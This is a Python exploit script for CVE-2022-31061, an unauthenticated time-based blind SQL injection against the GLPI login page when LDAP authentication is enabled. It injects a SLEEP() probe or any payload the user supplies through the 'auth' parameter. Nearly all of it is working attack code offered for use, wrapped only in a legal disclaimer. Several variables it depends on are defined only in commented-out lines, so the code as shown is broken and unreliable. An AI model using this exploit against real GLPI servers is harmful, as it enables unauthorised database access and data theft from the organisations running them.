#!/bin/python # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! # Legal disclaimer : # use of this script for attacking à target without mutual consent is illegal. # It's is the end user responsibility to obey all applicables laws for his location # Developers assume no lisibility and are not responsible for any misuse or domage caused by this program # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! # Exploit Title: GLPI >= 9.3.0 and < 10.0.2 - Unauthenticated SQL injection on login page # Date: 2022-08-07 # Exploit Author: Vu0r1 # Vendor Homepage: https://glpi-project.org/ # Software Link: https://github.com/glpi-project/glpi/releases/download/10.0.1/glpi-10.0.1.tgz # Version: GLPI >= 9.3.0; < 9.5.8; <10.0.2 # Tested on: DEBIAN 11 # CVE : CVE-2022-31061 # Reference : https://github.com/glpi-project/glpi/security/advisories/GHSA-w2gc-v2gm-q7wq # Reference : https://nvd.nist.gov/vuln/detail/CVE-2022-31061 # Reference : # NEED : ldap activated from datetime import datetime from urllib import response import requests from lxml.html import fromstring import sys from optparse import OptionParser, Values import random import string def main(): print("# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") print("# Legal disclaimer : ") print("# use of this script for attacking à target without mutual consent is illegal.") print("# It's is the end user responsibility to obey all applicables laws for his location") print("# Developers assume no lisibility and are not responsible for any misuse or domage caused by this program") print("# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") usage = "usage: %prog -t https://example.com [-v] [-c cmd]" parser = OptionParser(usage) parser.add_option("-t", "--target", dest="target", help="GLPI Website to audit") parser.add_option("-v", "--verbose", action="store_true", dest="verbose", help="Display verbose output") parser.add_option("-c", "--cmd", dest="cmd", help="payload to inject. Time based Bind Injection. Context : ' SELECT `id` FROM `glpi_users` WHERE `name` = 'fzrfdse' AND `authtype` = '3' AND `auths_id` = '1' [payload] # '") parser.add_option("-u", "--user-agent", dest="userAgent", help="user-agent to use", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0") parser.add_option("-p", "--proxy", dest="proxy", help="proxy to use") (options, args) = parser.parse_args() if(not options.target): sys.exit("the target is mandatory") if(options.cmd): response = makeResquest(options, options.cmd) print("Status", response.status_code) print("Content", response.elapsed.total_seconds(), "sec") else: sleep = 5 response = makeResquest(options, "UNION SELECT SLEEP(" + str(sleep) + ")") duration = response.elapsed.total_seconds() if(duration >= sleep): print("SUCCESS : target is vulnerable") else: print("FAIL : target is not vulnerable") def getProxy(options: Values): if(options.proxy): return {"http": options.proxy, "https": options.proxy} return None def extractFromReceip(htmlContent: any, xpath: str, paramLabel: str, verbose: bool) -> str: matches = htmlContent.xpath(xpath) if(len(matches) != 1): sys.exit(paramLabel + " not found") value = matches[0] if(verbose): print("[VERBOSE] ", paramLabel," : ", value) return value def makeResquest(options: Values, payload: str) -> requests.Response: target = options.target.strip('/') index = target + '/index.php' proxy = getProxy(options) try: headers = { "User-Agent" : options.userAgent, } response = requests.get(index, headers=headers, proxies=proxy) except Exception as e: print("Error : ", e, "on try to access to", index) exit() if(options.verbose): print("[VERBOSE] Status Code : ", response.status_code) if(response.status_code != 200): print("Error : ", index, " status ", response.status_code) exit() htmlContent = fromstring(response.content) authValues = htmlContent.xpath('.//select[@name="auth"]/option/@value') if(options.verbose): print("Auth values : ", authValues) authVal = "" for val in authValues: if("ldap" in val): authVal = val break if(not authVal): print("ldap must be enabled") exit() # csrfToken = extractFromReceip(htmlContent, '//input[@name="_glpi_csrf_token"]/@value', "CSRF", options.verbose) # loginField = extractFromReceip(htmlContent, '//input[@id="login_name"]/@name', "LoginField", options.verbose) # passField = extractFromReceip(htmlContent, '//input[@type="password"]/@name', "PassField", options.verbose) # rememberMeField = extractFromReceip(htmlContent, '//input[@type="checkbox"]/@name', "RememberMeField", options.verbose) # SELECT `id` FROM `glpi_users` WHERE `name` = 'User' AND `authtype` = '3' AND `auths_id` = '1' UNION SELECT SLEEP(5) # ' auth = authVal + "' " + payload + " # " # fielda62efa09238519=test&fieldb62efa0923851b=test&auth=ldap-1&fieldc62efa0923851c=on&submit= params = { "noAuto" : 0, "redirect" : "", "_glpi_csrf_token" : csrfToken, loginField : ''.join(random.choices(string.ascii_uppercase + string.digits, k=8)), passField : ''.join(random.choices(string.ascii_uppercase + string.digits, k=16)), "auth" : auth, rememberMeField : "on", "submit": "" } headers = { "User-Agent" : options.userAgent, "Referer" : index } login = options.target + '/front/login.php' print("[", datetime.now(), "] Begin send request for ", payload) injResponse = requests.post(login, params, cookies=response.cookies,headers=headers, proxies=proxy) print("[", datetime.now(), "] End send request for ", payload, " Duration : ", injResponse.elapsed.total_seconds()) return injResponse if __name__ == "__main__": main()